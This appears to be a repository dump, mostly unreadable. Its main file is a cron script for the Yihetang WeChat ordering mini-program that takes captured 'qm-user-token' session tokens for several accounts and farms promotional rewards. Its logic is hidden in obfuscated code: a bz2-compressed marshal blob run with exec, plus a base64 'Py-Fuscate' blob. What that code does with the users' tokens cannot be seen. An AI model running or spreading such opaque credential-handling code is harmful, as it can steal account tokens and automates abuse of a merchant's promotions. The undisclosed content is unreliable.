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\n'))) 18 | except KeyboardInterrupt: 19 | exit() 20 | -------------------------------------------------------------------------------- /yht.py: -------------------------------------------------------------------------------- 1 | ''' 2 | vx小程序 -- 益禾堂手机点单 3 | 抓包 webapi.qmai.cn 下的 qm-user-token 多账号使用 # 分隔 4 | export Yht_token='qm-user-token1#qm-user-token2' 5 | author: 清风 6 | name: 益禾堂手机点单 7 | cron: 8 6 * * * 8 | 9 | update: 10 | 2024.09.03 更新种植活动 11 | 2024.10.12 添加领取功能, 增加活动互助 12 | ''' 13 | 14 | import sys 15 | vesion = sys.version.split(' ')[0] 16 | if vesion.split('.')[1] == "10": 17 | print(f'你当前的python版本为 {vesion},即将运行脚本...') 18 | else: 19 | print(f'你当前的python版本为 {vesion},运行所需脚本环境为 3.10.x, 即将退出运行脚本...') 20 | exit(1) 21 | 22 | try: 23 | import marshal,lzma,gzip,bz2,binascii,zlib;exec(marshal.loads(bz2.decompress(b'BZh91AY&SY1[>\xee\x00\x17\x05\x7f\xd3\xff\xf4 \x00\x00"\x7fg\x7f\xff\xff\xf0\xbe\xff\xff\xf0\x08\x00` \x00\x10\x00 \x00\x10`*\x1f>{\xc5\xf4\xc1\x96\x8c\xd8i\xefcu\x17m\xbb\x0fu\xefu\xce\xdd\xccz^r{7\xc9\xf1\xdb\xbd4\x1d\x02\x82\x86\x8f\xa7\xd0\xfai@\x07\xd2\x83\xd5==\x14P\x06\x9e\x9e\x9f9a\xd0;\xec\x1a\x00\x00t>\x8f{\x0f>\xe3\xdb\xefo/6\x9a\x81Wv"-\xe7\x12{\x9e\xe6{y]\x1d\xd9\xed\x87\x15U?\xf1\x18 4\x00\x00\x00\x01\x01%15\x08\x00\x06\x87\xa1UO\xf0\x00\x08\xc12\x1a\x10 \xa6\xa3CI\xa6F \xd3\x11\x80!\x84U?\xd3@\x00\x04\xd0I\xa8z\x9bT\xfc\x85M6\x89\x89\xa6\x10b\x00\x00\x04U?\xc9\xa6\x98!\x04\x98\xaa~j\x14\xffJ\x9f\x89\xa1\xa9\x00b\r\x00\x00\x00hES\xfc\x98@\x121#aJ~\x81OI\xe9\x88\xc8\x9a\x03\xd4\x1ah\x00\x00\x110@\x9aM\x03\t\x88\x014\xa3\xd9O!5<\xa6\x99\r\xa8\x01\xa6\x86\x9bQ\xe9\xec z\x96\xf9\xdd\xa0\x90\x03H\x83:\x08\x10\x88\xf9\x93\x84\xfc\x9f\xed\x06|\xd1\x9fh\xef_\x93\xdd\x18\x103\xe6\x1f\x04D/C\xced`\x123;\xd3\xd0\xd8-\xf8\x87g\xfc\xb8\xb0\r>\x9f\x87\x0fva\xf7\x80\xf9\x97\xe5\x91\x13\x1f\xd3\xe2\x17\xbb\xb5|\xbc\xbd\xb5\xa0\xcf\xdd\t\xbf\xea\x8b4a\xf5\xb9\x93\xdd\x11\xecq\xabm*U\xee\xfb\xea\xe0\xaa\xaaR\x90\x01\x10\x11Aq\xc6\xf7DN\x13iZ\x03\x17Z\x95\x8d\x15\x99\x14\x1e4\xfc>n\x86\xbb\xe8e\x16_\xc5\tg\xf4\xb5\x7fp\xdd\x0e\x92\xb1\xa2q\xa5\x02\xff\x8d\xa2\xdf\xb6G\x93\xa3y\xfe\x99*\x7f\xf3v\x87\x02{\xe6\xb5\xfde\xff\xea\xb3\xef\x882\x95w\x98\x8bE\xc3\xff\\_\xfcv\x9f\xad\xb4\xde\xe0\x81\x00~6\x88O\xa0\xfa\tS\x98\xca#7Tl\x05\xbf\xfa\xf1\xd0@x~\xb2\xc90vYxam\x97\x87\x9e\xb3_\x8e\x1a\x13\xa4:n\x0b\xe8\xcc\xf0\x99<\xe2i\xd8\xc4\x10\xfe51\xe5+L2~7\xec.+\xc0\xec\x86\xba\xf3\xa8\x87\x07\x01\xc6\x8a\x1d|\x87\xb3~t\x99\xdbI\x84\x1ct\x99\xef,\x84\xce\xcb\xf3\xb3\xc1\xa9y\xc9\rW1\'\xdegI\xc8\xf8h\x8a\xa1\x87\x0bel\xc9\x8a\xe6\xb6\x14\x8b\x7f?A\x06\x88I\x16-\x93`\xee\xdeu\xae#\xdfx\\\x88d\x0e\x01 .\xe9t\xa5\x8c:\xc6W\xc5\x14)\x92\x19=.c\xf4a\xad\xa4C@ti\x0bHUrC\x94x$\x1aQ\xb3\n\xccAh\'\x8d7[%\x9f\xf4\xd5\x06\xfb\'\xdb\x0b\xdb.\x1dg+\xb7K\xe7\xd1{\xd1\x1a\xd9C\x00e\xe7f\xcf\xb8\x91"\t;*\xf8\x8cl\xfa\xd3\xca\x99j\xb3\x95\x8b\xb2\xe5\xa08x\xf7-\x0f!e\xeb\xdd\xa47\xb7Zm\xd4\xe9\xda/]\xa9\xa6\xb8[I\xd9\x9d)\xf1\xd6{\x99[\xd8v\x99\xa9\x8e+\xb1@\\<\x03\xc6O\xf5\xcc\x84[\x04\xa1\x19\xb4x5Hwd\x815\xba\xa8\x01\x00\x9fv\xf6\x8d\x86/f\xf7\xb4\xcbM\xcc\x18r\x84P\x99\x1c\xfe\xc2\xd7\x93D\x17\xe1)|\x1e\xf8y\t.Vq\x9c{q\xbf\x8e\xf4\nS\x95\\\x19\xc1\xbddZ\x8d\x16\x0b@v\x80\xb5tX\xf4\x99l#\xf8\x8c\x16E\x91\xb1x\xf7\x06\x02\n2E7|\x1fn\xbadtdn|C\x82\xf19\x0e\x17\xb5\x0c\x85\xcd\xebZE\xf0\xae\xc9^\xdc\x99\xad\xd2V\xf7\xac3\xe0\xb3K\xdd\xb1C\xcel\xa3\x8b\xffty\x15\x0e\xe4^\xba\xfb\xfd\x98:\xa6<\xe1)lk\xae\xa7\xac"!\x937n\xfc?\xe3\xe1\x9c\x06\xb8\x9b\x10t\x88>\x89_k\xb3\xa4-\x82\x95\xe0\xd2?\x051\x818\x1f\xa0\xdf\xa5\xc7\x80\xa3\xc2\x01>\x87\x04\xb0,Z%\x85\xa0%?j\xeb\xaa~\x1b\xac\xe2cp\\\xeb\xce\x9f\x03\xc2\x938\xc76p\x9euG\x83\x94\x9f\x18\x99\x93\x9csI\xd3\x9b\xe4\xa2\x10\x15\x03s\xa3\xe5r2\xe6x\xb2#!A\xe411%\x0e\xc8\xa0\xe8\xcc\x11\x96\xd0\x92\xb5=\xd7]`f\x04Xm\xc5\x9aD&s\xd2\x98\xbf\x1d\xb4\xd2\xb2\x98\x10|\x18\xde\xaa\xfa\xa566\x1bf:\xc1%\x83\x0b\xf1l\xddK\t<\x04\x8e~\x19\x84@%\x95mHN\x95\x8a6z&\x84m\x14\xbe\xe3Y\xd3\xec\x15p\xf6J\xcev\xa2\x87!Ca\xc8J\xb1\xd1\x9f\x8f\xc0\xa9\xec>I\x08\xb4\xfa\x16E\xeb\xb4K\xe3\xea|\xc2@\x06\x1e\xc8\xbe\xda\x1f6\xa0\x99\xb4\xd2\n\xd0d\xb1Ku\xdf\xd7\x14zL\x96\xa6\xf3u\x94\xc8)\xd1\x1a\xeaI-\xa1\x82\xe3\xae|yk\x9e\xba\xab\xb1\x96\xed\xb0\x0e \xe0@6\x13\x00\x88\xf8\x08\x80\x04,f\xb8\xdb\r\x04u`C\x8e\x12\xa4Cc\xba\xd2\xdc\x19+\xd3+\x8e\x89pHw\xddY\xc3(\xc1YD\x1b\xbe\x8eMC\x82pM\x14\xb9\x82F\xe2\xc7+\x8e\x94b\x8f\x82I.h$:\x1f\xc6\n_\xa1h\xb4q\xdc\x19d\xc2\xbc\n|\xb3Q30\xc0\xd0+[\xef#\xa4\xf35\xf7\xac\xdc\xb3];\xbdl"C\x05\x11[a{\x96~\xda\x00\xd8[|l&\xa9\x12\x00g\xad\xf7\xc7\x17\xef\xe2\x0e\xc076\x13\x8f\x06\x82|\x8ea\xba\xcaA\\\x04A\xfb"\xbd\xfa\xe5\xaczs\xbaBz\xec\x8b&\xdd\xe9\x9e\xbc8\xb0\xd5@vO\xbdZ\xfcd\xfdR\xe4\xd76fT\xc4\xc0P\r;L\xe3,s\xa8\x8e+\xad\xa3\xbed`\xc2U\xe4\xde\xe9%\x1b\x7f\x1bz\xcb2\x8e\n\x836R\x80\x9bp\x86\xe5s\x8a\xbe\xa4\x83\xbaY\xf4\xbe)\xb4{\xa3#L-\xa1`\xb2:\xd9fs\x84\xf0\t\x8dJ\xc7\xc5#\xc6v\x05\xcf\xea\xa5QD\x15\xbe\x9f\xdbRhu\xa0\x11P\xc8\x04\xa2A+\x8f\x0eZ\xf2R\x885f\xcdy\xfc\x8a\xd5"\xbc\xa6\x82\x88E\x1fPn,\xa5^\x9e\x9d\\\xd1-\xfe\x8a\xcd\x14\xb8P\xd4I\x80\x98\x84\x9f\xf1\xb7\xc4W]\xbe:\xeai\x8c!\xd8LD\xb5r\xf5\xf0\x0b\xce\xbb\x16\xc0[P\'l\xeb{\xed\x8fr\xd46/\x87\xa8\xcf\x03\x88\xd4\xa1\xde\x14\x9c5$\xf6\xf50_\x03\x03\x0c+\xeah\xd6w\xa96N\x95\xa0\xf4\x05\x18\x18\xd122Rq\x89z\x8d\xa8\xc4\x1d#\x9anF\x13$\xcb\x86\x1e\xae\x12:\x8c\xd4z6\x0bF\xb2x[\xe4\x8cc\x86S\xb4\xb5j\xbd\xc2mc\x80\x8a\xf1\x04\n\xcd\x96\xa7!\xc8&A\xe2\xe3Wk\xdd\xdc\x1d\x11\xea\xdb\xb03Q\x16\xb6\xad\\*W\xa2/\xdf\xf9\xc8\xe3\x00"\x18g"\xac\x08]t\xb0\xe78S\x84b\x91fh@d\xd9\xbe\x14;\x98+a\x0b-\xee\xb6\x1c\x95\\\xa7\xa6\rp2A\xf5`\xdc\xd1\x8f.L\xb1\xa8\x1cq\x1a\xc4\xce\x1eO6\xe2\x86\xf8\x00\xe45\x99\x8a\x11\xb2\xee\x8d\xd7\x89\xd1\n\xbd,P\xc2\xef\x83\xc3\x9b\xabD\xe7B;\x0e\xf8\x99w\xa2\xd6\x0f\xc2\x1c\xf7L\xa8\xb3\x94\xf0\xe6]\x0f\x8a\x14\x1d\xb5I4C\x86\'\xa9\xb5\xae\xd6j\x17|\x12\t^\xf5x\xdc\xe3U\xe6>\x10?l\xfd*\x94\xf1\xbc{j\x8d\x07\x9d\x8fw[\xaf\xd8%W\xea\xa2\x00\xf7\x8dRGX-\tTE\xe2@\x188\xc7p\x10\x08U+\x04\x18\x0c\x84-b\x02y]\xde\x18:\x08\xb8L\x86 \x160\xc94\xf3\xaf\x81\x14AP5\x89\xd3\x15T\x83\x1f\xae\xcfb\x9b\x10\x16\xd6\xdb,/\xb4P\x99e\x88\xa9\xabX\xddAq\xa4&y\x9e\xc9m\x14\xac\xd7\xbd\xf3\xbb\xdc\xc5&\xd9\xd7}i\x8cJ\xe9\xad\x80\xf5A\xd7K\xc5\x9d\xc5\xe5\xd3M\x80\x96x\xd6RD\x1c\xf9\x9c\xa8\xc2\x8f],\x1b\x91\x96\x80\x85\x01\'j\xaa,\x05\xafy\xc8x\x92\xc3\x85\x8c\x92b\xb7J[\xa2\x91D\xa2\xd8\xe7W\xc3Q\xed0\x8c\x94l\x10\xd3\xe0\x01\x1e\\\x1f$\xa0\xfb6*\x93\xde\x0b\x9a\xd5c\xeaU)\xba\x96\xd2\xda|/\x18B2N\xae\xc8\xdb\x93B\x04\xb7\xe2H&\x05\xa4\xf6\xac\xd4b\x90o~\x99\xa0\x1fAg \xc6\xa7Et\xe7\xc1@\xfb\xb1(\xa6x\x06\xbaT\xa4"(5\x05\xecl\xc0\xe9\xbb\xf7\xdd\xb5\xc3c\xbf\x12\xb1;\xbcdV\xdak\x9c\xe9\x9a2\xd2\xee\x81\x9a\xd9R\xd8t\xba\xd5\xb8\xfb\xae\xb9\xf7\x14-\x1f%?\xce\xff\xe7\xc0\xad\x86\xa7\xe1?^\xee\xb0\xb5\xd2\xb4\xdf\xbc_\xc1\x02\xd5n\x7f\xff\xfa\xf5:\xcci\xb5\xc1\x896\t=\x9e\x88\x81\xe7\xbf\xbb\xb8\xc5:\xb8\x95\xf4.\xfd\xc96\x93\xd9\x16E"\t&\xf9\xa3\xca6\x9d\x10e\x9bA\x0214\xc2\xcb\xa0\x8a\rA\xca\xf1c\xc0\x0b\xd7\xfe"\x8f\x13\xd1\xc9\x8b=\xa3\x7frY\xfcY\xf9Gn\x90\xae\xa3\'\xef\xefI*\xff\x03\xd9\xe6 \xcb\x9e\xe3Z\xc9f"\xb4\xe3u\xab\xb7\xd3\xcc\xcb\x87\x98\xb9\xb7\ri\x834\xe9\xaa\x9c\x12\xd5\xb7\x7f\xaf\x13\x06\xad\xebE\xec\xea\xc3\xef\xaa\x9c\x88=]\'\xa8\xf5\xe0\x804\x9d11\x80\xa6.q\x87R\xa9\xee\xb5\xa4\xb4~\x81\\\x12\xad\x90\xdf\xa3\xcb\x1a\xea\xa6>\xb9\xb1\xa6q,\x8cp\x12\xbfK\x83Y\xbf-b=B\xc1\xa4ZX\x98\x8f\x18H\xcb\'%\xaaS\xaf\xab*u\xba\xc1^f\xb3\x18u\xaan\x94\x8f\xb5\xc8\xeb\x9e~\x7fvc`Y\xb4\xce\x17\xd2\x06\t\x11H\x98\x17\x9bb{^\xc8\x96\x81\xff,\xbdZS\xb1\x0e\xec\x1b:\xbf,\xaft8\xd9\x14\xaem\x8a\xdb{\x92\x87\xe6\x93\x86=^\xa9A?\xb4Q\x14X\x99h\xfc\xd7\xa8FA\x0cc\x9a\x8b\t\x11\xb8e\x0b\xf6\xc8#\xe0\xc8f\xaa\xa4\x92\xbf1\xd8SoJ\xd3\x170\xd7\xde\xe9\xb3\xbb\x8fP\xef^\x0c\xca\xff\xa2\xab\x19\xe7\x13\xf1\x05\xa6\xc1}\xa3\x9c\xb6\xbaK\xb0a\xed\xfc\x81\xb9|\xbd\xfb\xcb>O\x03 \xb4\x92~|\xa4\x98n\xe8-]\xb16Yjha\xa1\xd9[\xb5C\xd0/:\x08e)\xa9\xc6\'g\x8a\xe9\x93\xb3(\r.\x1e\xb98>\xc6\xd9\xa14\xf0\x18_\xad \xcf\xc9\xd0rgW\x9c\x87fM\x01%\xf2H\xf7\xa2c0\x1f(\xb8\x06\x85\x08p\xc1u\x94`\xdbJH\xc4\xbe\x04\xb8ZmZ)N\xf7@W\xb3\xac\xd2\x1d\x7f>\xb9\x9d_0\x80\xed\xc8\xb2\x8a`-#.I\xa6\xc6{\x1f\x8a\x19\xbe\xcd\xe3g\x15B\xd1\x13\x8e(\x8a\xe3B\xad\xd5\xdf\x84"\xb0\t\x88\xb6\x9e\x82Z\xda\xc9\x10\xdcJ\xf1$J\xe3\x12\xc5\xc1O.\xceL\x1c6\xb9X\\\x8c_]\xc4\xa7\xedZ\xccA\xec\x911f\xfe\xae\xc5)\x95$Y\xa5\xdbs\xb3cfb|\x8cB,\xe2\xca\xb2\xf8o\xb5\x05V\x1eq\xa2a7\x8d:\xe6\xd1&P\x1dw\x94x8qY\xbbaCT\x91ZM\xc8\x14K\xc5p\xa2\xfa|y\xe9*\xa7\xd3\x83\xd7\xdf\xd6\x98\x16"\xfe\xe48\xf1\xb15\xc6m\xb0o\xa3\xa6\x89\x0fc 9|S\x89\xe4:vX&CPm\xe9\x9c\xd1\xa1\xb7\xde\x82\x8e\xbd?\xe6\x89\xfcv\xcb\xea:g\x93\x0cM\x05\xedd\x935\xbcg=0b|\x17w:\x1e\xf6\xb2\xd4\xba\xdf\xb5P\x19(o,\xba\x806x\xbc.\xdf\xec\xd43T\x95\x8b\x83;\x19\xd2\xcco\xe1\x1e\x99hC\xb2e\xe3}S]\xa8\xce\x07xAo\x81}\n\xd2\xcb7X\xd8\xc0ai\xe5\x08&J\x14\xbf\x9e\x8f\xc80\xaa\x08YyO\xee\x94\xab|\x17\x065\x04\x0es\xc1\xac>`\x89Zr\xf95:\xe7S\xbcdg\x8b\xeeS\x9e\x94\x8a\x032$:\xe6\xbb\xbd\xa5\xb3,q\x00\xde\xba\x1b\x8c\r\xf8\xefg\xc7Yd\xf7\xb0\xde9\xb7\x9a\xa1\xd5)\x9f\x03\xb7r\xf3\xdbP:\xbe\xc4\xac\xf6\xc4\xce\xbe\x14\x8f\x96\xa6S\x8d\x15\xb4\xbdx4\xab\xcc\x1f\x86\xca\x17U2\xe6\xe5\x87@@\x84\xfd%D\x05k\x0c\x8fh\x105"\xb5t\xc5\xaa:\xe7\xdfK\xd7\x19\xcd\x9b1a>\xaem\xb3\xef\xb1zo\xfb\xd4\xafT\xe9\xd6R1n\xc3s\xbe\xa0\xa6\xc1jW}\\d$\xc6\x97\xc7\xc0X1\x0f\x00\xde\x95\x19\xa8\xa46y1\r\x89\x87;\xde\xf6\xc5\x1fw\x80\x9b@e\x0e\xd03\xb1D\xd6\\\xe3BN3\x93M\xa8oF\xe3\x97\xda\xf1\x8em\x17J>\xc0\xd8YY\x83\xea\xa0\t\xe3\x8e+}\xeb\xc1jZmUD\xab\xd1\x03\xe9\xa5/\xb4\xf3\x83\xb1\xf9N\xc9ZQ\xbe\xce/e&\xbe\x1a\x94\x9a\x15\x1f\xcc\xa6\xa9J\xb3\xd1\x1a\xc8wP 2Q\xa1T2\xa0\x15\xfc\xe7\xfd#\xb2\x1b\xbe\xe5\x8a<#\x1e\xc6!\xa2\xe3H{\xf9\x8f-\xefb\x03\x18\x01\x9f\xe1\x8cp\x98a\x11H,\x04`\x80\xe1m\xdf\x7fF\xb5$F\xbd\xde\xb8\xd4\x008\x08k\xc5\x84\xc3\xcb\x93O\x88\xb0\x84\x03\xacA\xa2\x0c\xe9?\x12\x0f\r\xcb\x87\xbbv/\x1e\xc9\x1b\x82X\x84L\x89\x0cO4\x83:\xfb\xe7\x07uR\xba\x91Z\xcf+\xb2\x1eX|\x0b3\xe1s2\xc2\xb3f\xaf\x95\xd0\xc7~\xe9&\x97\x01\xf7n\x0e\xba*\x07\x97#\x0f\x01Eq\xe7x\x05\x05n\x05\x9f\xc0\xafl\xcd\xafe\x98E+\x8d\x1fH\xac\xfc\x84\x05\xae!@\x80_ne\xaf\x9b\xa1\x89\xce\xec\xa6\xe2\x0f\xb4\xa1\xf8\xdd\x0fV:\xac4\xf2\xef_\x8d\x0cl@\x13C\xaa\\\xe1\xf4\xae\xeeA\x9b8}7y\r\xe3Q\xed,T\x19f\xe24\x02y\xe3\xd3rZ\x83\x036\xfaP\xf7\x0f\xb4\xbd1\x1a\xab\x93\xd5tYbstUj\x93\xd9\xe3\xdc\xf9=\xda\xcc\xc0\xb5\xf4\xd0\x1c\x95R\x85\x7fJOupP\x01,\xc8x\xa8\xb8\x05\xee\x1c\x01\x95\xe7GF\xd5mm\x1dTf\xddL\xa5t*\xfc\x9fEc7Q\x9cu\xb4\x82\xd0\xe8D\xbf7O+\xec\xc3S\x0e\x89\x9b=T\x8b\xa2\x9a\x17d\xe8v\xa4\xd1EvmA\xb5D\xbcq\x9a1\x8a\rb-\xb0\x92\r\xd3\xe3\xe9\xd4\xc3\xcd\x89\xfa\x1fr\xb2\xedj\xf1\xec4\xf7\xa9zDr\xbd\'&3_P]\xe6S\xady\xdc9\r\xa24\xe9 :\xa8\xdd\x81<^\\\x9eG\n\x89\xc8\xbf\xeb\x05C\x7fK\x83xKt\x84S\xe0fi\xd7*\x90\xee\xa8B\xdc\xf7\x05a\xb7)\x9f\xd8\x8f\x055\x0e\xa9\x1f=\xae\xf0\xac\xe5g\x05X\xc7\xafY\x97\x87\x90\xdbn\x148G(\t\x91p\x07\xfd4\xa2dm\x83\x89\x97\x7f\xf3\x86\xddj\xee\x86\xc7\xab\xc8\xc7\xf7@\x06/\xd64G\xca\xfe\xb5\xd6\x9awaL\xde\x8e\\\xef5p\xae\x89y\x98\xab\x89\x99\x1a\xbf\xea\x1c\xed\xf3\xc4\xa4\t\xe5\xe5\xb0{M\x95\xb6nf\x82&\xfdU\xef\x80\x11\x86\xa8\x01\xf6}\x94D\xa3\x03\xed\xe7\n;!up\rGy\x15H\xfd\xb4\x023\xcd\xa0\xcf\xbc\x99s\xaeW5\x02\x95\x11{\x01\xcc]H\xb3(\xac\xbb\x14\x1fG\xd9\xdew2`4\x97\xbc)2\x15\xadD\xb6\xc8\x8e\xd9\xde\xae\xe9\xa6\xc3\xfd\x12\xd6/\'\xb1V\x9d0}u\xbdUtL\xfb\xf8\x8d&\xcb\xbf\xc8\x05g\xa4t\xb7Ur\xd3e\xc85M\xe2p\x19o\xb2j\xb6\xf8\xff$\xa9\xe0d!~^\xbf\xf0oS\xff!S\xc2\xb0q\xbb\x93\xdb_\x10\xcf\xb9u\xbf\x16)\xb0\xabo\x8d\xc2\xfc\xd3\xcb\x00\xb1\xefi\xc7\xec$]\x95\x1e\x88Id\xde\xbd\'\x06yX\x0e\x89\xc5\xc5\x88A\xb8L\x11\xcb\x07\xdf\xd0kP\xe4m\x11P\xa9C\xb3\xd8H\xbc\xcb^\xb2\x95\xb9\xe3\xd3{I\xe0\x01x\xec\x10\xee\x03\xf5s\x03\x15\xd4(7\xfa\xcf\x87`\xa3(/m-+\xe0}\xce\xd9^\xb54\xbc\xb3_\xbf\xcd>\xfe\x90\x08C(\\p\x14\x009\xdeV\x04B\x02\xac\xb1:\xc8\x06\xdd\xf1\x87-\xe3\x97\xb8\xc1\\\r\xf7\x8e\x8a\'\xb6WD\xd8\x96\x0f\x96Ng\xa1\x12\xd7\xc7\xc4V\xc9\xf8\xfe\xbf\x8c\x0b9.\xa0\x1d\x05\xf6Mw\x0f<\xbf\xba\xa7E\xdc\xb3\xe1\x7f\xc8\xd4\x14\x8d\x06\x85+\x0e\xebq\xf3mr-\x0e\xc9t.\xe5v\x05\x9coQ\xe5]Fb\xe3\x10\xebn\x96\xddbBeW\x9d\x98j\xd7\xb6W\xc5\x8a\xc1\xef/ti\x14\ry\xcf?7(5\xa4l\xea\x8b\xccD\x0b;\x91\xfc\x9a\xdb\x97e\x90\x15\xe9?H\x0c\x16"\xe3\xeb\xc9\xdd)t\x89\xa8\x1f\xfb-*K\xa6\x9b\x8c\x98\xd4V\xd0\xb3\x85p\x0b.\xd6\x97[\x0c]\xf3\xa1\x93\x0e\xca\xac\x06\xee\xc1{M\xdaY\x97\xa5t3\x8e\xcb\xf9C\xf4FA\x83U\x14Ta\x1b\n\x8b\xbc \xf4\x84\xe7\xf8_\x142\x14U`\xcerZ\xda\x8c\x12 9\x01\xae\x8a\xbd\xc8\x9d\xbd\xccQ\x05\x1d\x16Y\xf4~\xbf;\xd1w\xddq6|\xa0\xcf\x85\xdc\xdf\x1b~\xef\xbaB\x9dy\xef\xe6\xf09\xc3\x97\x10K\xd2\xdf_\x8a\xeb#q\xbdK\x17\xea\xa5e\xc1\xc2(\xd3\x1a\x1fJy\xad\xde\x1c\xf4\x15.X\x0e_\xe5\x95\xe6w\xc8\xfc\x1fZ\x1f\xafj\xf8\x08\xd5 